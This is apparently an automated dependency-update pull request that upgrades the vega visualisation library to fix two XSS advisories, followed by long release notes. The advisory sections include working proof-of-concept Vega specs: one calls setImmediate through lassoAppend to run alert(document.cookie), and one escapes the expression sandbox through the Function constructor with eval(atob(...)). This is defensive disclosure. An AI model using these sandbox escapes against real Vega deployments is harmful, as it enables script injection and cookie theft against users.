Update dependency vega to v5.23.0 [SECURITY] #78

renovate · 2023-03-24T21:53:39Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vega	`5.6.0` -> `5.23.0`

GitHub Vulnerability Alerts

CVE-2023-26487

Summary

Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).

Details

The issue is that lassoAppend doesn't enforce proper types of its arguments:

.....
export function lassoAppend(lasso, x, y, minDist = 5) {
    const last = lasso[lasso.length - 1];

    // Add point to lasso if distance to last point exceed minDist or its the first point
    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
        lasso.push([x, y]);
.....

PoC

Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": false,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
        }
      ]
    }
  ],
  "marks": [
    {
      "name": "circle",
      "type": "symbol",
      "zindex": 1,
      "encode": {
        "enter": {
          "y": {"signal": "height/2"},
          "angle": {"value": 0},
          "size": {"value": 400},
          "shape": {"value": "circle"},
          "fill": {"value": "white"},
          "stroke": {"value": "white"},
          "strokeWidth": {"value": 2},
          "cursor": {"value": "pointer"},
          "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
        },
        "update": {"x": {"signal": "toggle === true ? 190 : 165"}}
      }
    },
    {
      "name": "rectangle",
      "type": "rect",
      "zindex": 0,
      "encode": {
        "enter": {
          "x": {"value": 152},
          "y": {"value": 162.5},
          "width": {"value": 50},
          "height": {"value": 25},
          "cornerRadius": {"value": 20}
        },
        "update": {
          "fill": {"signal": "toggle === true ? '#&#8203;006BB4' : '#&#8203;939597'"}
        }
      }
    }
  ]
}

Impact

This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).

CVE-2023-26486

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Release Notes

vega/vega (vega)

`v5.23.0`

Compare Source

Changes from v5.22.1:

This version contains dependency updates, bug fixes, and security patches, plus a few extra utilities to aid Vega-Lite.

monorepo

Update dependencies, including D3 packages.
Update rollup config to use .mjs extensions.

vega-canvas

Update rollup config.

vega-crossfilter

Update rollup config.

vega-dataflow

Update rollup config.

vega-encode

Update rollup config.

vega-event-selector

Update rollup config.

vega-expression

Update rollup config.

vega-force

Update rollup config.

vega-format

Update rollup config.

vega-functions

Fix lassoAppend expression function XSS. (Thanks @arvind!)
Fix scale expression function XSS (Thanks @ajxchapman and @hydrosquall!)
Update rollup config.

vega-geo

Update rollup config.

vega-hierarchy

Update rollup config.

vega-interpreter

Update rollup config.

vega-label

Prevent evaluation of unsafe methods, #3570 (Thanks @AMoo-Miki!)
Update rollup config.

vega-loader

Update rollup config.

vega-parser

Add view style for Vega-Lite, #3480 (Thanks @arvind!)
Update rollup config.

vega-projection

Register projections as recognized Vega scales.
Update rollup config.

vega-projection-extended

Update rollup config.

vega-regression

Update rollup config.

vega-runtime

Update rollup config.

vega-scale

Add registerScale() and isRegisteredScale() methods. (Thanks @hydrosquall!)
Register scales as recognized Vega scales.
Update rollup config.

vega-scenegraph

Update test cases to match dependency updates.
Update rollup config.

vega-schema

Make __count__ private from schema, #3659 (Thanks @lsh!)
Update rollup config.

vega-selections

Update rollup config.

vega-statistics

Update rollup config.

vega-time

Update rollup config.

vega-transforms

Update rollup config.

vega-typings

Make __count__ private from schema, #3659 (Thanks @lsh!)
Update scenegraph item typings (Thanks @jonathanzong!)
Update rollup config.

vega-util

Update typescript config.
Update rollup config.

vega-view

Wrap querySelectorAll in Array.from, #3639 (Thanks @ravron!)
Update rollup config.

vega-view-transforms

Update rollup config.
Fix autosize="fit-x/y" when legend is larger than plot, #3474 (Thanks @stas-sl!)

vega-voronoi

Update rollup config.

vega-wordcloud

Update rollup config.

vega-cli

Update rimraf version, adjust code in response.
Update rollup config.

vega

Update test scenes to match dependency updates.
Update rollup config.

`v5.22.1`

Compare Source

Changes from v5.22.0:

monorepo

Update dependencies.

vega-scenegraph

Fix SVG path parser null check. (#3451).

`v5.22.0`

Compare Source

Changes from v5.21.0:

docs

Add Packed Bubble Chart example. (thanks @PBI-David!)
Improve TimeUnit transform documentation.

monorepo

Update dependencies, including D3 ESM packages.
Update rollup config to bundle ESM packages for CJS use.
Update tests to match new dependencies.
Bump minor version numbers for all affected modules.

vega-functions

Add lasso selection expression functions. (thanks @dvmoritzschoefl!)
Suppress unsupported expression function arguments.

vega-label

Fix to not assume that a label always has some part inside the chart's bounding box. (thanks @chanwutk!)

vega-scenegraph

Fix SVG path close logic. (#3377)
Fix SVG renderer dirty check. (#3411).
Fix SVG path string parser, update tests. (#3432)
Fix SVG mix-blend-mode to use style attribute. (#3435)

vega-selections

Optimize selection functions for ID-only stores. (thanks @arvind!)

vega-transforms

Fix TimeUnit transform updates.

vega-typings

Limit type linting to local TypeScript version only. (thanks @domoritz!)
Adjust EventListenerHandler typings. (#3390)

`v5.21.0`

Compare Source

Changes from v5.20.2:

monorepo

Update dependencies.

vega

Update test scenegraphs.

vega-event-selector

(Breaking) Change exported method name.

vega-expression

(Breaking) Change exported method names.

vega-label

Add support for infinite padding, no bounds on label layout. (#3252)

vega-loader

Fix loader so that baseURL is not prepended to data: URLs. (#3195)
Minor refactoring.

vega-parser

Update depenencies.

vega-runtime

Dead code elimination for runtime expression instantiation.
Minor refactoring.

vega-statistics

Fix sampleCurve utility to properly scale values in angle subdivision test. (#3173)

vega-typings

Update typings. (thanks @danmarshall and @domoritz!)

vega-util

Allow customization of logger handler. (thanks @challet!)

`v5.20.2`

Compare Source

Changes from v5.20.1:

vega-view

Fix container initialization bug.

`v5.20.1`

Compare Source

Changes from v5.20.0:

monorepo

Update dependencies.

vega-dataflow

Fix memory leak on dataflow detach. (thanks @krisdages!)

vega-transforms

Fix memory leak on dataflow detach. (thanks @krisdages!)

vega-typings

Update typing comments for bindings and projections to fill-in missing Vega-Lite documentation.

`v5.20.0`

Compare Source

Changes from v5.19.1:

monorepo

Update CI configuration. (thanks @domoritz!)
Update build configuration. (thanks @domoritz!)
Update dependencies.

vega

Add web test for external element binding.

vega-scenegraph

Add early exit for image rendering with zero width or height.

vega-schema

Add signal binding to external input element.

vega-typings

Add signal binding to external input element.

vega-util

Update inherit utility to use defineProperty, avoids upsetting configurations that ban assignment overrides of Object prototype properties. (#3109, thanks @erights!)

vega-view

Add signal binding to external input element.

`v5.19.1`

Compare Source

Changes from v5.19.0:

vega-schema

Fix schema generator for data transforms.

`v5.19.0`

Compare Source

Changes from v5.18.0:

vega-functions

Add pluck expression function. (thanks @arvind!)
Add additional Vega-Lite selection helper methods. (thanks @arvind!)

vega-parser

Fix signal check for data source values property. (thanks @domoritz!)

vega-scenegraph

Fix namespace use for SVG metadata. (thanks @mbostock!)
Update to JSON schema draft 7. (thanks @domoritz!)

vega-schema

Update to JSON schema draft 7. (thanks @domoritz!)

vega-selections

Add additional Vega-Lite selection helper methods. (thanks @arvind!)

`v5.18.0`

Compare Source

Changes from v5.17.3:

vega

Refactor: import only default from JSON files. (thanks @keller-mark!)

vega-functions

Update vega-selections dependency.

vega-selections

Add Vega-Lite v5 "point" selection support. (thanks @arvind!)

`v5.17.3`

Compare Source

Changes from v5.17.2:

vega-expression

Remove unsafe replace function. (#3027)

vega-functions

Add replace function with input type check. (#3027)

vega-parser

Update dependencies.

vega-view

Update dependencies.

`v5.17.2`

Compare Source

Changes from v5.17.1:

vega-expression

Remove unsafe sequence functions. (#3027)

vega-functions

Add sequence functions with input type checks. (#3027)

vega-parser

Update dependencies.

vega-schema

Fix JSON schema bug (#3025, thanks @domoritz!)

vega-selections

Update dependencies.

vega-view

Update dependencies.

`v5.17.1`

Compare Source

Changes from v5.17.0:

vega-geo

Fix contour quantize bug. (#2994)

vega-expression

Fix XSS vulnerability in expression parser and code generator. (#3018)

vega-typings

Remove incorrect comment for Interpolate type.

`v5.17.0`

Compare Source

Changes from v5.16.1:

vega-canvas

Fix browser index route for ES modules. (#2907)

vega-loader

Add iterable support to JSON loader. Iterable inputs are expanded to arrays, then ingested.
Fix browser index route for ES modules. (#2907)

vega-util

Add isIterable utility.

`v5.16.1`

Compare Source

Changes from v5.16.0:

monorepo

Fix rollup config to use umd rather than iife bundles. (#2896)

`v5.16.0`

Compare Source

Notable Changes

The new label transform automatically positions labels without overlapping other marks. (Thanks @chanwutk!)
Completes the transition to using vega-datasets 2.0+, including swapping out the Iris dataset for a more adorable Penguins dataset. 🐧
Major update of build system to use a centralized rollup configuration. (Thanks @domoritz!)

Changelog

Changes from v5.15.0:

docs

Add Calendar View example.
Add Labeled Scatter Plot example.
Update Box Plot example to use penguins data.
Update Violin Plot example to use penguins data.

monorepo

Complete transition to vega-datasets 2.0.
Use centralized rollup config. (thanks @domoritz!)

vega

Use centralized rollup config. (thanks @domoritz!)
Update and extend test specifications.

vega-canvas

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-crossfilter

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-dataflow

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-encode

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-event-selector

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-expression

Use forbidden / allowed, remove blacklist / whitelist (Breaking change)
Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-functions

Use centralized rollup config. (thanks @domoritz!)
Use argument spread syntax. (thanks @lgrammel!)

vega-force

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-format

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-geo

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-hierarchy

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-interpreter

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-label

1.0.0 release, now integrated into Vega! (thanks @chanwutk!)
Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-loader

Fix JSON copy option logic. (#2890, thanks @cytomich!)
Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-parser

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-projection

Use centralized rollup config. (thanks @domoritz!)

vega-projection-extended

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-regression

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-runtime

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)
Use argument spread syntax. (thanks @lgrammel!)

vega-scale

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-scenegraph

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)
Use argument spread syntax. (thanks @lgrammel!)

vega-schema

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-selections

Use centralized rollup config. (thanks @domoritz!)
Use argument spread syntax. (thanks @lgrammel!)

vega-statistics

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-time

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-transforms

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-typings

Update view typings. (#2846, thanks @domoritz!)
Fix image mark config. (#2871, thanks @domoritz!)

vega-util

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-view-transforms

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-view

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

vega-voronoi

Use centralized rollup config. (thanks @domoritz!)

vega-wordcloud

Fix use of var, prefer const and let. (thanks @lgrammel!)
Use centralized rollup config. (thanks @domoritz!)

`v5.15.0`

Compare Source

Changes from v5.14.0:

monorepo

Update dependencies, including use of D3 v6 packages.
Refactor all packages for JavaScript modernization. (thanks @domoritz & @lgrammel!)

vega

Update vega-core build to use D3 v6.

vega-scale

Add turbo and cividis color palettes. (thanks @mcnuttandrew!)

`v5.14.0`

Compare Source

Notable Changes

Update SVG rendering to produce fully compliant XML. (#2672)
Major refactoring of the Vega code to be more lean and modern. The main changes are:
- Use shorthand property method syntax (e.g., rather than assignment to prototype objects).
- Use arrow functions rather than function declarations where appropriate.
- Prefer use of let and const to var.
Upgrade the documentation examples to use vega-datasets 2.0+, including swapping out the Iris dataset for a more adorable Penguins dataset. 🐧
Various bug fixes, documented below.

Changelog

Changes from v5.13.0:

vega-cli

Update SVG test output.

vega-canvas

Update to use leaner syntax.

vega-crossfilter

Update to use leaner syntax.

vega-dataflow

Fix EventStream to support detach method. (#2753)
Fix Pulse addAll to clear rem set when applicable. This prevents tuple removal from being invoked on newly instantiated operators that never observed those tuples in the first place. (#2605)
Update to use leaner syntax.

vega-encode

Update to use leaner syntax.

vega-event-selector

Update to use leaner syntax.

vega-expression

Update to use leaner syntax.

vega-force

Update to use leaner syntax.

vega-format

Update to use leaner syntax.

vega-functions

Update to use leaner syntax.

vega-geo

Update to use leaner syntax.

vega-hierarchy

Update to use leaner syntax.

vega-label

Update to use leaner syntax.

vega-loader

Update to use leaner syntax.

vega-parser

Fix production rule support for guides. (#2754)
Update to use leaner syntax.

vega-projection

Update to use leaner syntax.

vega-regression

Update to use leaner syntax.

vega-scale

Update to use leaner syntax.

vega-scenegraph

Add markup and serializeXML utilities for SVG string output. Ensure proper XML output. (#2672)
Fix leaky SVG scaleX/Y transforms on non-path marks. (#2738)
Fix bounds calculation for rotated paths. (#2780)
Fix canvas picking for clipped groups with corner radius and no fill. (#2797)
Fix SVG path parsing: support concatenated decimals and implicit lineTo commands. (#2803)
Update tests, add xmllint checks to test conformance of SVG output.
Update to use leaner syntax.
Internal Breaking Change: Update SVGStringRenderer class methods to use markup utility.
Internal Breaking Change: Drop openTag, closeTag utilities.

vega-statistics

Update to use leaner syntax.

vega-time

Update to use leaner syntax.

vega-transforms

Update to use leaner syntax.

vega-view-transforms

Update to use leaner syntax.

vega-view

Update to use leaner syntax.

vega-util

Add members argument to inherits utility.
Add ascending comparator utility.
Update to use leaner syntax.

vega-voronoi

Update to use leaner syntax.

vega-wordcloud

Update to use leaner syntax.

`v5.13.0`

Compare Source

Notable Changes

Improved Streaming Performance.

For performance, Vega caches a lot of internal data structures, including calculated tuples, scenegraph items, and SVG DOM nodes. Previously, nested scopes (such as those created for facetted data) that result in vega-runtime subcontexts were never cleaned. If no external View API calls are made, this is fine, and actually improves performance for interaction-driven dynamic filtering. However, when providing streaming data to Vega through the View API, uncleaned caches and subcontexts can result in substantial memory leaks that also eventually degrade performance.

This version adds mechanisms for clearing caches and detaching subflows to support streaming data within nested specifications. When input data is removed via a View API call or via signal-valued URL, Vega will now by default trigger garbage collection to reclaim resources. This behavior can be disabled by calling clean(false) on a constructed ChangeSet passed to the View API.
Improved Cursor Performance.

Previously Vega updated the cursor style on the HTML document body. This persists cursor settings even during interactions (such as drags) that may leave the Vega View component. However, it also can result in large performance penalties in Chrome, which re-evaluates CSS styles in response. This version changes the default behavior to set the cursor locally on the Vega View component. If a global cursor is desired, the boolean config property events.globalCursor can be set true or the View method globalCursor can be invoked to change the setting at runtime.
Optional Expression Interpreter.

This release adds interpreter support for Vega expressions that is Content Security Policy (CSP) compliant. By default, the Vega parser performs code generation for parsed Vega expressions, and the Vega runtime uses the Function constructor to create JavaScript functions from the generated code. Although the Vega parser includes its own security checks, the runtime generation of functions from source code nevertheless violates security policies designed to prevent cross-site scripting.

This release provides an interpreter plug-in (the new vega-interpreter package) that evaluates expressions by traversing an Abstract Syntax Tree (AST) for an expression and performing each operation in turn. Use of the interpreter enables compliance with CSP, but can incur a performance penalty. In tests of initial parse and dataflow evaluation times, the interpreter is on average ~10% slower. Interactive updates may incur higher penalties, as they are often more expression-heavy and amortize the one-time cost of Function constructor parsing.

Changelog

Changes from v5.12.3:

vega

Update stream.html and stream-nested.html performance test pages.

vega-dataflow

Add detach method to Operator to remove adjacent edges (listeners) from the dataflow graph.
Add clean setter to ChangeSet, set to true by default if any tuples are removed.
Add clean getter/setter to Pulse, propagate value to forked pulses if they share a data source.
Update logging calls during Dataflow evaluation.

vega-encode

Update DataJoin transform to clean internal map when pulse.clean() is true.
Update Scale to include domainMid as an extrema if it exceeds the domain min or max. (#2656)

vega-functions

Fix scale function to not special case undefined input. This ensures identical semantics with the internal _scale helper function used by code-generated encoders.

vega-geo

Update d3-geo dependency.

vega-interpreter

Add new vega-interpreter package.

vega-projection

Update d3-geo dependency.

vega-projection-extended

Update vega-projection dependency.

vega-runtime

Add runtime detach method to remove subcontexts. Export as detachSubflow on the head operator of a generated subflow.
Add pluggable expression evaluators.

vega-statistics

Fix numbers utility to exclude empty string.

vega-transforms

Update Aggregate transform to clean internal map when pulse.clean() is true.
Update Facet, PreFacet, and Subflow transforms to prune subflows in response to pulse.clean().
Update Load transform to set pulse.clean(true) when removing loaded data.
Fix Bin and Extent to treat empty string as a missing value. (thanks @domoritz!)
Fix aggregate ops to treat empty string as a missing value.

vega-typings

Add eventConfig.globalCursor to config typings.
Add dataflow logger to typings.
Add parse options to typings.

vega-util

Refactor code for fastmap and visitArray utilities.

vega-view

Add View constructor option expr to pass in a custom expression evaluator.
Add globalCursor method and event configuration.
Update to make the Vega view container the default cursor target.

`v5.12.3`

Compare Source

Notable Changes

The previous Vega v5.12.0 release introduced changes to how SVG was generated, including the addition of an internal stylesheet. However, this leads to integration issues with downstream tools (including at least one popular SVG optimizer) that do not support stylesheet parsing. In addition, local performance tests indicate faster rendering in Chrome when using presentation attributes instead of CSS styling. This version (v5.12.3) now changes the SVG output to favor presentation attributes (fill="blue") over CSS style (style="fill: blue;").

CSS styles have been removed in all but one case: the use of image-rendering for non-smoothed images, where browser differences require multiple style definitions to appease both Chrome and Firefox, something we can't express with presentation attributes alone. If and when Firefox properly supports image-rendering: pixelated we can consider dropping this last use of CSS.

Note that external stylesheets can still be used to style Vega SVG content, and may now have higher specificity due to the use of attributes.

Changelog

Changes from v5.12.2:

monorepo

Update eslint config to flag trailing commas.

vega

Add initialization timing to test spec viewer page.
Remove dangling commas.
Update dev dependencies.

vega-cli

Update SVG test cases.

vega-format

Remove dangling commas.

vega-geo

Remove dangling commas.

vega-hierarchy

Remove dangling commas.

vega-parser

Fix trailing function argument commas in axis utils. (#2645, thanks @armanozak!)
Remove dangling commas.

vega-projections-extended

Update dev dependencies.

vega-scenegraph

Favor SVG presentation attributes over CSS style. (#2640)
Fix clipped group picking for canvas. (#2600)
Remove dangling commas, other code clean-up.

vega-schema

Remove dangling commas.

vega-time

Remove dangling commas.

vega-transforms

Remove dangling commas.

`v5.12.2`

Compare Source

Changes from v5.12.1:

vega-scenegraph

Add canvas handler event listeners necessary for state management. Fixes a regression introduced in v5.12.1. (#2641)

vega-typings

Fix typings for locale specification and View API. (thanks @haldenl!)

`v5.12.1`

Compare Source

Changes from v5.12.0:

monorepo

Switch from Travis CI to GitHub Actions. (thanks @domoritz!)

vega-cli

Add tests for vega-cli.

vega-parser

Update code style for config constants.

vega-scenegraph

Add class to svg root group, localize SVG stylesheet to that class. (#2618)
Lazily register CanvasHandler event listeners. By avoiding unneeded listeners, this change avoids a number of passive listener violation warnings. (#2621)

vega-transforms

Fix regression of string to number conversion in aggregate sum op. (thanks @haldenl!)

vega-typings

Update View typings.
Fix missing color schemes in typings. (thanks @domortiz!)

vega-view

Code clean up.

`v5.12.0`

Compare Source

Notable Additions

View-specific locale management for number and date formatting. The View constructor accepts a locale option, and Vega specs support a config.locale property. Locale objects should have number and/or time properties that map to valid d3-format or d3-time-format locale definitions.
View toCanvas now accepts an externalContext option to draw into a separately managed canvas instance. For example, one could draw multiple Vega views into the same node-canvas instance for server-side PDF document generation.
Initial support for signal-valued axis orient properties. This addition allows the position of an axis (e.g., left versus right) to be dynamically updated at runtime. The feature should be considered experimental; subtle bugs may still arise.
Internal refactoring to support content security policy (CSP) in the future. The Vega parser accepts an ast option flag to include generated abstract syntax trees for expressions in the parser output. All Function constructor use for generated code is now consolidated into a single file in the vega-runtime package and could be overridden if an expression AST interpreter is implemented.
Bug fixes! See below...

Changelog

Changes from v5.11.1:

vega

Update bar-time test specification to test locale config usage.
Update budget-forecasts test specification.
Update to use refactored runtime context.

vega-cli

Update to use locale view constructor option.

vega-dataflow

Add locale property to set a dataflow-specific locale for number and date formatting.

vega-encode

Update to use centralized locale management. Transforms now access the dataflow-specific locale via the input pulse.

vega-expression

Fix handling of this global variable.

vega-format

New package for format methods that centralizes locale management.

vega-functions

Add centralized locale management. Format functions now access the dataflow-specific locale via the runtime context object, available to expression functions via the this context.
Add and export expression parser, support AST export option.
Add internal scale functions for use by encoders.
Fix scale dependencies: non-literal scale references should depend on all scales.

vega-geo

Fix contour, density2D size setter input checks.

vega-loader

Add UTC parser parameter to read method.
Use the default locale when custom time format parsers are not provided.

vega-parser

Internal breaking change: Output runtime specification has changed the encoding of parsed expression functions. Generated code is now wrapped in an object and stored in the code property.
Internal breaking change: Generated expression code no longer includes method variable definitions or additional logic. These have been moved to vega-runtime.
Add signal support for axis translate property. (Thanks @haldenl!)
Add experimental signal support for axis orient property. (Thanks @haldenl!)
Add parsing of locale config, include in runtime spec output.
Add options argument to parse.
Add boolean ast parse option to enable AST output from expression parser.
Refactor to use expression parser for synthesized encoder logic.
Fix circular dependencies.

vega-runtime

Internal breaking change: The runtime now assumes the updated vega-parser output format. All code generation beyond standard expression parser output has now been consolidated into the runtime parsing process.
Propagate locale config to runtime context object.
Refactor code, add optimized code generation for accessors and comparators.
Refactor all non-standard code generation to the runtime context.
Fix circular dependencies.

vega-scale

Internal breaking change: Update to use centralized locale management. Formatting methods now require a locale parameter as the first argument.
Fix valid tick method to sort ticks based on scale range values. (#2579)

vega-scenegraph

Add externalContext CanvasRenderer option. (Thanks @pixelspark!)
Add resetSVGDefIds to reset gradient and clip id counter. (Thanks @kanitw!)
Add SVG style block, set default fill and miter limit values. (#2498)
Update SVG test outputs.
Update to use centralized locale management. The ARIA caption generators access the dataflow-specific locale via the runtime context object.
Update reference to axis orient.
Fix SVG radial gradient pattern fill to use style, not fill attribute.
Fix ampersand escape in SVG attributes. (#2608)
Fix CSS fill inherit for tspan.

vega-schema

Add axis translate signal support to schema.
Add signal-valued axis orient to schema.

vega-time

Internal breaking change: Remove formatting methods, which are now part of vega-format.

vega-transforms

Update aggregation ops to no longer use the Function constructor.
Update dependencies.

vega-typings

Add externalCanvas render option to typings.
Add axis translate signal support to typings.
Add signal-valued axis orient to typings.

vega-util

Update field, key, and compare methods to no longer use the Function constructor.
Add optional arguments to inject optimized code generators for accessors and comparators.

vega-view

Add locale input options and config handling.
Update to use refactored runtime context.

vega-view-transforms

Add signal support for axis translate property.
Update reference to axis orient.
Fix ViewLayout reflow to ensure group bounds are updated. (#2568)
Fix grid layout calculations with empty grid input. (#2541)

vega-wordcloud

Update dependencies.

`v5.11.1`

Compare Source

Changes from v5.11.0:

monorepo

Update dev dependencies.

vega-hierarchy

Update tests for tape 5.0.

vega-scenegraph

Use single quotes for generated aria-label captions. (Thanks @sprmn!)
Escape double quotes in SVG attributes, add test case.

vega-statistics

Update tests for tape 5.0.

vega-view-transforms

Update tests for tape 5.0.

`v5.11.0`

Compare Source

Notable Additions

Preliminary support for ARIA accessibility attributes in SVG output. Mark and guide definitions now include automatically-generated roles and labels, which can be customized using description and aria properties. Individual mark items do not include ARIA attributes by default (which helps prevent bloat of both the scenegraph and output SVG), but these can be added using description and aria encoding channels.
Improve generated HTML form elements for signal bindings. Deployments that use custom CSS for styling bound elements may wish to make minor adjustments.
dayofyear time unit support for the timeunit transform.
dayofyear, week, utcdayofyear, and utcweek expression functions.
Axis domainCap, gridCap, and tickCap properties.

Changelog

Changes from v5.10.1:

monorepo

Add ARIA attribute generation documentation.
Update eslint setup, consolidate configuration.
Update dev dependencies.

vega

Add calendar test specification.
Add overview-detail-bins test spec to test suite.
Update crossfilter test scenes to include description property output.

vega-encode

Move internal tick, label utilities to vega-scale.
Fix valid tick check calculation. (#2531)

vega-functions

Add dayofyear, week, utcdayofyear, utcweek expression functions.

vega-geo

Fix density utility size input checking bug.

vega-parser

Add ARIA attribute generation for marks and guides via aria and description properties.
Add backing scale names to axis, legend datum objects.
Add zindex support for guide config.
Add axis domainCap, gridCap, and tickCap properties. (Thanks @kanitw!)

vega-scale

Add tick, label guide utilities from vega-encode.
Add domainCaption utility.
Fix overflow with large domain and small tickMinStep (#2550, thanks @rwoollen!)

vega-scenegraph

Add ARIA attribute generation to SVG renderers:
- Parent <g> tags for mark items include automatic role and aria-roleDescription attributes.
- Parent <g> tags for axes and legends include automatic aria-label captions.
- Attribute generation for mark and guide definitions can be customized using the aria and description properties. If aria is false, the content is hidden from the accessibility tree by setting aria-hidden SVG attribute. The description property determines the aria-label SVG attribute.
- Individual mark items do not include ARIA attributes by default, but these can be added using the encoding channels aria and description. If a description is provided and aria !== false, then Vega will generate accompanying role and aria-roledescription attributes for a mark item.
Provide experimental ariaRole and ariaRoleDescription encoding channels for individual marks, which override the default role and aria-roledescription attributes generated by Vega. However, note that these are experimental features and so may change at a later date.

vega-schema

Add ARIA accessibility properties to mark, guide, and encode schemas.
Add axis domainCap, gridCap, and tickCap properties.

vega-time

Add dayofyear time unit support and corresponding tests.
Add dayofyear, week, utcdayofyear, utcweek utility functions.
Add export for TIME_UNITS array of valid time unit strings.

vega-transforms

Update TimeUnit transform parameter schema to enforce valid time unit strings.

vega-typings

Add ARIA accessibility properties to mark, guide, and encode typings.
Add dayofyear option to TimeUnit transform typings.
Add zindex support for guide config.
Add axis domainCap, gridCap, and tickCap properties.

vega-view

Improved semantic HTML for generated signal bindings to form input elements.

`v5.10.1`

Compare Source

Changes from v5.10.0:

vega-encode

Update default guide label format to support multi-line arrays. (#2456)

vega-loader

Use startsWith rather than indexOf for string prefix checks.

vega-parser

Use startsWith rather than indexOf for string prefix checks.
Set default fill and size for trail mark config.

vega-transforms

Fix window operator init state for prev_value and next_value. (#2475.)

vega-typings

Update mark config for arc mark.

vega-view-transforms

Fix Overlap transform to early exit when there are no items (#2449).

`v5.10.0`

Compare Source

Notable Additions

The Vega parser now generates a built-in background signal which the view uses to set the background color. While not technically a breaking change (specs will still parse and evaluate successfully), existing specs that use a signal named "background" may not render the same as before, in which case a different signal name should be used.
Top-level properties (autosize, background, padding, width, height) accept signal references, such as {"signal": "<expr>"}, which map to a signal definition's update property. If the top-level signals array contains an entry that matches one of these properties, the definitions will be merged, with precedence given to the properties defined in the signals array.
Vega views now include ARIA attributes on the view container DOM element. The role attribute is set to "figure", and the aria-label attribute is set to the specification description property.
The aggregate and window transforms support the product operation to multiply values.
The config supports a top-level lineBreak option for setting a global default for text line breaks. This property should be a string or regexp value, or a corresponding signal reference.
